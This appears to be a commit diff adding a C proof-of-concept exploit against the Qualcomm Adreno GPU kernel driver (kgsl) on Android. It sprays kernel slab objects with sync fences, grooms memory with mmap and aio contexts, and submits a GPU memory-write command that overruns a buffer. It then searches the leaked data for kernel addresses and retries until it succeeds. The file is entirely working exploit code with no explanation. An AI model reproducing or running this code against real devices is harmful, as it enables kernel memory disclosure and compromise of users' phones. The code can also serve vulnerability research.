|
| 1 | +#include <err.h> |
| 2 | +#include <errno.h> |
| 3 | +#include <sys/types.h> |
| 4 | +#include <sys/stat.h> |
| 5 | +#include <fcntl.h> |
| 6 | +#include <unistd.h> |
| 7 | +#include <sys/ioctl.h> |
| 8 | +#include <sys/mman.h> |
| 9 | +#include <errno.h> |
| 10 | +#include <time.h> |
| 11 | +#include <poll.h> |
| 12 | +#include <sys/syscall.h> |
| 13 | +#include <string.h> |
| 14 | +#include <stdio.h> |
| 15 | +#include <stdlib.h> |
| 16 | +#include <stdbool.h> |
| 17 | +#include <sched.h> |
| 18 | +#include <linux/aio_abi.h> |
| 19 | + |
| 20 | + |
| 21 | +#include "kgsl_utils.h" |
| 22 | +#include "adreno_cmd.h" |
| 23 | +#include "dma_search.h" |
| 24 | + |
| 25 | +#define CMD_SIZE 4 |
| 26 | + |
| 27 | +#define OBJS_PER_SLAB (0x1000/OBJECT_SIZE) |
| 28 | + |
| 29 | +#define CPU_PARTIAL 30 |
| 30 | + |
| 31 | +#define MMAP_SPRAY 1000 |
| 32 | + |
| 33 | +#define OBJ_SPRAY 10000 |
| 34 | + |
| 35 | +#define CPU_SETSIZE 1024 |
| 36 | +#define __NCPUBITS (8 * sizeof (unsigned long)) |
| 37 | +typedef struct |
| 38 | +{ |
| 39 | + unsigned long __bits[CPU_SETSIZE / __NCPUBITS]; |
| 40 | +} cpu_set_t; |
| 41 | + |
| 42 | +#define CPU_SET(cpu, cpusetp) \ |
| 43 | + ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS))) |
| 44 | +#define CPU_ZERO(cpusetp) \ |
| 45 | + memset((cpusetp), 0, sizeof(cpu_set_t)) |
| 46 | + |
| 47 | +#define KERNEL_BRANCH KERNEL_4 |
| 48 | + |
| 49 | +void migrate_to_cpu(int i) |
| 50 | +{ |
| 51 | + int syscallres; |
| 52 | + pid_t pid = gettid(); |
| 53 | + cpu_set_t cpu; |
| 54 | + CPU_ZERO(&cpu); |
| 55 | + CPU_SET(i, &cpu); |
| 56 | + |
| 57 | + syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu); |
| 58 | + if (syscallres) |
| 59 | + { |
| 60 | + err(1, "Error in the syscall setaffinity"); |
| 61 | + } |
| 62 | +} |
| 63 | + |
| 64 | +static uint32_t* map_anon(int kgsl_fd, uint64_t* addr, size_t size) { |
| 65 | + uint32_t* out = NULL; |
| 66 | + out = (uint32_t*)mmap(NULL, size, PROT_READ|PROT_WRITE, |
| 67 | + MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); |
| 68 | + if (out == MAP_FAILED) { |
| 69 | + err(1, "shared_mem_buf failed"); |
| 70 | + } |
| 71 | + int ret = kgsl_map(kgsl_fd, (unsigned long)out, size, addr, 0); |
| 72 | + |
| 73 | + if (ret == -1) { |
| 74 | + err(1, "kgsl_map failed %p\n", out); |
| 75 | + } |
| 76 | + return out; |
| 77 | +} |
| 78 | + |
| 79 | +static uint32_t write_gpu_cmd(uint32_t* write_cmd_buf, uint64_t shared_mem_gpuaddr, uint32_t n) { |
| 80 | + uint32_t* write_cmds; |
| 81 | + |
| 82 | + write_cmd_buf = write_cmd_buf + 0x1000/CMD_SIZE - 5; |
| 83 | + |
| 84 | + write_cmds = write_cmd_buf; |
| 85 | + |
| 86 | + *write_cmds++ = cp_type7_packet(CP_NOP, 1); |
| 87 | + *write_cmds++ = 0xffffffff; |
| 88 | + |
| 89 | + *write_cmds++ = cp_type7_packet(CP_MEM_WRITE, 2 + n); |
| 90 | + |
| 91 | + write_cmds += cp_gpuaddr(write_cmds, shared_mem_gpuaddr); |
| 92 | + |
| 93 | + return (write_cmds - write_cmd_buf + n) * CMD_SIZE; |
| 94 | +} |
| 95 | + |
| 96 | + |
| 97 | +static int io_setup(unsigned nr, aio_context_t *ctxp) |
| 98 | +{ |
| 99 | + return syscall(__NR_io_setup, nr, ctxp); |
| 100 | +} |
| 101 | + |
| 102 | +static int io_destroy(aio_context_t ctx) |
| 103 | +{ |
| 104 | + return syscall(__NR_io_destroy, ctx); |
| 105 | +} |
| 106 | + |
| 107 | +int find_address() { |
| 108 | + uint32_t *write_cmd_buf; |
| 109 | + uint64_t *shared_mem_buf; |
| 110 | + void *shared_mem_buf2; |
| 111 | + uint64_t shared_mem_gpuaddr2; |
| 112 | + uint32_t n = 2048; |
| 113 | + uint64_t shared_mem_size = 0x2000; |
| 114 | + uint32_t cmd_size; |
| 115 | + uint64_t write_cmd_gpuaddr = 0; |
| 116 | + uint64_t shared_mem_gpuaddr = 0; |
| 117 | + uint64_t hole_size = 0x1000; |
| 118 | + int fds[OBJS_PER_SLAB * CPU_PARTIAL]; |
| 119 | + int spray_fds[OBJ_SPRAY]; |
| 120 | + |
| 121 | + int fd = open("/dev/kgsl-3d0", O_RDWR); |
| 122 | + |
| 123 | + if (fd == -1) { |
| 124 | + err(1, "cannot open kgsl"); |
| 125 | + } |
| 126 | + |
| 127 | + uint32_t ctx_id; |
| 128 | + if (kgsl_ctx_create(fd, &ctx_id)) { |
| 129 | + err(1, "kgsl_ctx_create failed."); |
| 130 | + } |
| 131 | + |
| 132 | + struct kgsl_syncsource_create syncsource = {0}; |
| 133 | + if (ioctl(fd, IOCTL_KGSL_SYNCSOURCE_CREATE, &syncsource) < 0) { |
| 134 | + err(1, "unable to create syncsource\n"); |
| 135 | + } |
| 136 | + |
| 137 | + for (int i = 0; i < OBJ_SPRAY; i++) { |
| 138 | + struct kgsl_syncsource_create_fence create_fence = {.id = syncsource.id}; |
| 139 | + if (ioctl(fd, IOCTL_KGSL_SYNCSOURCE_CREATE_FENCE, &create_fence) < 0) { |
| 140 | + err(1, "Failed to create fence"); |
| 141 | + } |
| 142 | + spray_fds[i] = create_fence.fence_fd; |
| 143 | + } |
| 144 | + |
| 145 | + for (int i = 0; i < CPU_PARTIAL * OBJS_PER_SLAB; i++) { |
| 146 | + struct kgsl_syncsource_create_fence create_fence = {.id = syncsource.id}; |
| 147 | + if (ioctl(fd, IOCTL_KGSL_SYNCSOURCE_CREATE_FENCE, &create_fence) < 0) { |
| 148 | + err(1, "Failed to create fence"); |
| 149 | + } |
| 150 | + fds[i] = create_fence.fence_fd; |
| 151 | + } |
| 152 | + |
| 153 | + shared_mem_buf = (uint64_t*)map_anon(fd, &shared_mem_gpuaddr, shared_mem_size); |
| 154 | + write_cmd_buf = map_anon(fd, &write_cmd_gpuaddr, 0x1000); |
| 155 | + uint64_t write_cmd_gpuaddr_start = write_cmd_gpuaddr; |
| 156 | + |
| 157 | + write_cmd_gpuaddr = write_cmd_gpuaddr + 0x1000 - 5 * CMD_SIZE; |
| 158 | + |
| 159 | + uint32_t* write_cmd_buf_start = write_cmd_buf; |
| 160 | + cmd_size = write_gpu_cmd(write_cmd_buf, shared_mem_gpuaddr, n); |
| 161 | + |
| 162 | + usleep(50000); |
| 163 | + void* hole = mmap(NULL, hole_size, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); |
| 164 | + shared_mem_buf2 = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); |
| 165 | + |
| 166 | + if (shared_mem_buf2 == MAP_FAILED) { |
| 167 | + err(1, "shared_mem_buf2 failed"); |
| 168 | + } |
| 169 | + |
| 170 | + munmap(hole, hole_size); |
| 171 | + aio_context_t ctx = 0; |
| 172 | + uint32_t nr_events = 32; |
| 173 | + |
| 174 | + migrate_to_cpu(0); |
| 175 | + for (int i = 0; i < OBJS_PER_SLAB; i++) { |
| 176 | + close(fds[i + (CPU_PARTIAL - 1) * OBJS_PER_SLAB]); |
| 177 | + } |
| 178 | + |
| 179 | + for (int i = 0; i < (CPU_PARTIAL - 1); i++) { |
| 180 | + close(fds[i * OBJS_PER_SLAB]); |
| 181 | + } |
| 182 | + |
| 183 | + if (io_setup(nr_events, &ctx) < 0) err(1, "io_setup error\n"); |
| 184 | + if (kgsl_map(fd, (unsigned long) shared_mem_buf2, shared_mem_size, &shared_mem_gpuaddr2, 1) == -1) { |
| 185 | + err(1, "kgsl_map failed (shared_mem_buf2)"); |
| 186 | + } |
| 187 | + |
| 188 | + if (kgsl_gpu_command_payload(fd, ctx_id, 0, cmd_size, 1, 0, write_cmd_gpuaddr, cmd_size)) { |
| 189 | + err(1, "gpu_command failed."); |
| 190 | + } |
| 191 | + usleep(150000); |
| 192 | + if (shared_mem_gpuaddr2 != write_cmd_gpuaddr_start + 0x1000) { |
| 193 | + err(1, "wrong address layout shared_mem_gpuaddr2 %lx write_cmd_gpuaddr %lx\n", shared_mem_gpuaddr2, write_cmd_gpuaddr); |
| 194 | + } |
| 195 | + if (ctx != (uint64_t)shared_mem_buf2 + 0x1000) { |
| 196 | + err(1, "wrong address layout shared_mem_buf2 %p ctx %lx\n", shared_mem_buf2, ctx); |
| 197 | + } |
| 198 | + |
| 199 | + int ret = dma_search(shared_mem_buf + 0x1000/8, 0x1000/8, KERNEL_BRANCH); |
| 200 | + if (ret == -1) { |
| 201 | + io_destroy(ctx); |
| 202 | + munmap(shared_mem_buf2, 0x1000); |
| 203 | + munmap(shared_mem_buf, 0x2000); |
| 204 | + munmap(write_cmd_buf, 0x1000); |
| 205 | + for (int i = 0; i < (CPU_PARTIAL * OBJS_PER_SLAB); i++) close(fds[i]); |
| 206 | + for (int i = 0; i < OBJ_SPRAY; i++) close(spray_fds[i]); |
| 207 | + close(fd); |
| 208 | + } |
| 209 | + return ret; |
| 210 | +} |
| 211 | + |
| 212 | +int main() { |
| 213 | + |
| 214 | + for (int i = 0; i < MMAP_SPRAY; i++) { |
| 215 | + mmap(NULL, 0x1000,PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); |
| 216 | + } |
| 217 | + int success = -1; |
| 218 | + int counter = 0; |
| 219 | + while (success == -1) { |
| 220 | + success = find_address(); |
| 221 | + counter++; |
| 222 | + if (counter % 20 == 0) printf("failed after %d\n", counter); |
| 223 | + } |
| 224 | + |
| 225 | +} |
0 commit comments